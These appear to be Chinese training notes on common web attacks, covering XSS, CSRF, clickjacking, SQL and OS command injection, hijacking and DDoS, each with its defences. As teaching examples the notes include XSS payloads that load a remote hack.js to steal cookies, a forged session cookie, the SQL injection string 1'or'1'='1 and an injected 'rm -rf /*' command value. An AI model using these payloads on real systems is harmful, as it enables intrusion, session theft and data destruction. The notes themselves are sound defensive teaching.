常⻅Web攻击
掌握XSS(实施+防御)掌握CSRF(实施+防御)
掌握点击劫持(实施+防御)掌握SQL注入(实施+防御)掌握OS注入(实施+防御)了解请求劫持
了解DDOS
Cross Site Scripting
跨站脚本攻击
XSS (Cross-SiteScripting),跨站脚本攻击,因为缩写和CSS重叠,所以只能叫XSS。跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML标签或JavaScript进行的一种攻击。
跨站脚本攻击有可能造成以下影响:
利用虚假输入表单骗取用户个人信息。
利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。显示伪造的文章或图片。
XSS攻击分类
反射型-url参数直接注入
// 普 通 http://localhost:3000/?from=china // alert尝试http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪 造 cookie 入 侵 chrome document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUz NTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
存储型-存储到DB后读取时注入
// 评 论 <script>alert(1)</script> // 跨站脚本注入 我来了<script src="http://localhost:4000/hack.js"></script>
获取⻚面数据获取Cookies劫持前端逻辑发送请求
偷取网站的任意数据偷取用户的资料
偷取用户的秘密和登录态欺骗用户
ejs转义小知识
<% code %>用于执行其中javascript代码; <%= code %>会对code进行html转义; <%- code %>将不会进行转义
HEAD
ctx.set('X-XSS-Protection', 0) // 禁止XSS过滤 // http://localhost:3000/?from=<script>alert(3)</script> 可以拦截 但伪装一下就不行了
0:禁止XSS过滤。
1:启用XSS过滤(通常浏览器是默认的)。如果检测到跨站脚本攻击,浏览器将清除⻚面(删除不安全的部分)。
1;mode=block启用XSS过滤。如果检测到攻击,浏览器将不会清除⻚面,而是阻止⻚面加载。
1; report= (Chromium only)
启用XSS过滤。如果检测到跨站脚本攻击,浏览器将清除⻚面并使用CSPreport-uri 指令的功能发送违规报告。
CSP
内容安全策略(CSP, Content Security Policy)是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入等攻击。这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。
CSP本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少XSS攻击。
// 只允许加载本站资源 Content-Security-Policy: default-src 'self' // 只允许加载 HTTPS 协议图片 Content-Security-Policy: img-src https://* // 不允许加载任何来源框架 Content-Security-Policy: child-src 'none'
ctx.set('Content-Security-Policy', "default-src 'self'")
// 尝试一下外部资源不能加载
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
转义字符黑名单
用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义
function escape(str) { str = str.replace(/&/g, '&') str = str.replace(/</g, '<') str = str.replace(/>/g, '>') str = str.replace(/"/g, '&quto;') str = str.replace(/'/g, ''') str = str.replace(/`/g, '`') str = str.replace(/\//g, '/') return str }
富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。
白名单
const xss = require('xss') let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>') // -> <h1>XSS Demo</h1><script>alert("xss");</script> console.log(html)
HttpOnlyCookie
这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网⻚的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常⻅的Web攻击,它利用用户已登录的身份,在用户毫不知情的情况下,以用户的名义完成非法操作。
用户已经登录了站点A,并在本地记录了cookie
在用户没有登出站点A的情况下(也就是cookie生效的情况下),访问了恶意攻击者提供的引诱危险站点B (B站点要求访问站点A)。
站点A没有做任何CSRF防御
登录 http://localhost:4000/csrf.html
利用用户登录态用户不知情
完成业务请求
盗取用户资金(转账,消费)冒充用户发帖背锅
损害网站声誉
禁止第三方网站带Cookie -有兼容性问题
RefererCheck -Https不发送referer
app.use(async (ctx, next) => { await next() const referer = ctx.request.header.referer console.log('Referer:', referer) })
验证码
点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过iframe嵌套的方式嵌入自己的网⻚中,并将iframe设置为透明,在⻚面中透出一个按钮诱导用户点击。
// 登 录 http://localhost:4000/clickjacking.html
X-FRAME-OPTIONS
X-FRAME-OPTIONS是一个HTTP响应头,在现代浏览器有一个很好的支持。这个HTTP响应头就是为了防御用iframe嵌套的点击劫持攻击。
该响应头有三个值可选,分别是
DENY,表示⻚面不允许通过iframe的方式展示SAMEORIGIN,表示⻚面可以在相同域名下通过iframe的方式展示ALLOW-FROM,表示⻚面可以在指定来源的iframe中展示
ctx.set('X-FRAME-OPTIONS', 'DENY')
JS方式
<head> <style id="click-jack"> html { display: none !important; } </style> </head> <body> <script> if (self == top) { var style = document.getElementById('click-jack') document.body.removeChild(style) } else { top.location = self.location } </script> </body>
以上代码的作用就是当通过iframe的方式加载⻚面时,攻击者的网⻚直接不显示所有内容了。
// 填入特殊密码 1'or'1'='1 // 拼接后的SQL SELECT * FROM test.user WHERE username = 'laowang' AND password = '1'or'1'='1'
防御
所有的查询语句建议使用数据库提供的参数化查询接口**,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。例如Node.js中的mysqljs库的query方法中的?占位参数。
// 错误写法 const sql = ` SELECT * FROM test.user WHERE username = '${ctx.request.body.username}' AND password = '${ctx.request.body.password}' ` console.log('sql', sql) res = await query(sql)
// 正确的写法
const sql = ` SELECT *
FROM test.user WHERE username = ? AND password = ?
`
console.log('sql', sql, )
res = await query(sql,[ctx.request.body.username, ctx.request.body.password])
严格限制Web应用的数据库的操作权限**,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害
后端代码检查输入的数据是否符合预期**,严格限制变量的类型,例如使用正则表达式进行一些匹配处理。
对进入数据库的特殊字符(',",\,(,>,&,*,;等)进行转义处理,或编码转换**。基本上所有的后端语言都有对字符串进行转义处理的方法,比如lodash的lodash._escapehtmlchar库。
OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入攻击指通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的⻛险。倘若调用Shell时存在疏漏,就可以执行插入的非法命令。
// 以 Node.js 为例,假如在接口中需要从 github 下载用户指定的 repo const exec = require('mz/child_process').exec; let params = {/* 用户输入的参数 */}; exec(`git clone ${params.repo} /some/path`);
如果传入的参数是会怎样
https://github.com/xx/xx.git && rm -rf /* &&
DNS劫持
顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的
ip
HTTP劫持运营商劫持,此时大概只能升级HTTPS了
http://www.ruanyifen g .com/blo g /2018/06/ddos.html 阮一峰
distributed denial of service
DDOS不是一种攻击,而是一大类攻击的总称。它有几十种类型,新的攻击方法还在不断发明出来。网站运行的各个环节,都可以是攻击目标。只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的。
其中,比较常⻅的一种攻击是cc攻击。它就是简单粗暴地送来大量正常的请求,超出服务器的最大承受量,导致宕机。我遭遇的就是cc攻击,最多的时候全世界大概20多个IP地址轮流发出请求,每个地址的请求量在每秒200次~300次。我看访问日志的时候,就觉得那些请求像洪水一样涌来,一眨眼就是一大堆,几分钟的时间,日志文件的体积就大了100MB。说实话,这只能算小攻击,但是我的个人网站没有任何防护,服务器还是跟其他人共享的,这种流量一来立刻就下线了。
SYNFlood
此攻击通过向目标发送具有欺骗性源IP地址的大量TCP“初始连接请求”SYN数据包来利用TCP握手。目标机器响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源。
HTTP Flood
此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新-大量HTTP请求泛滥服务器,导致拒绝服务。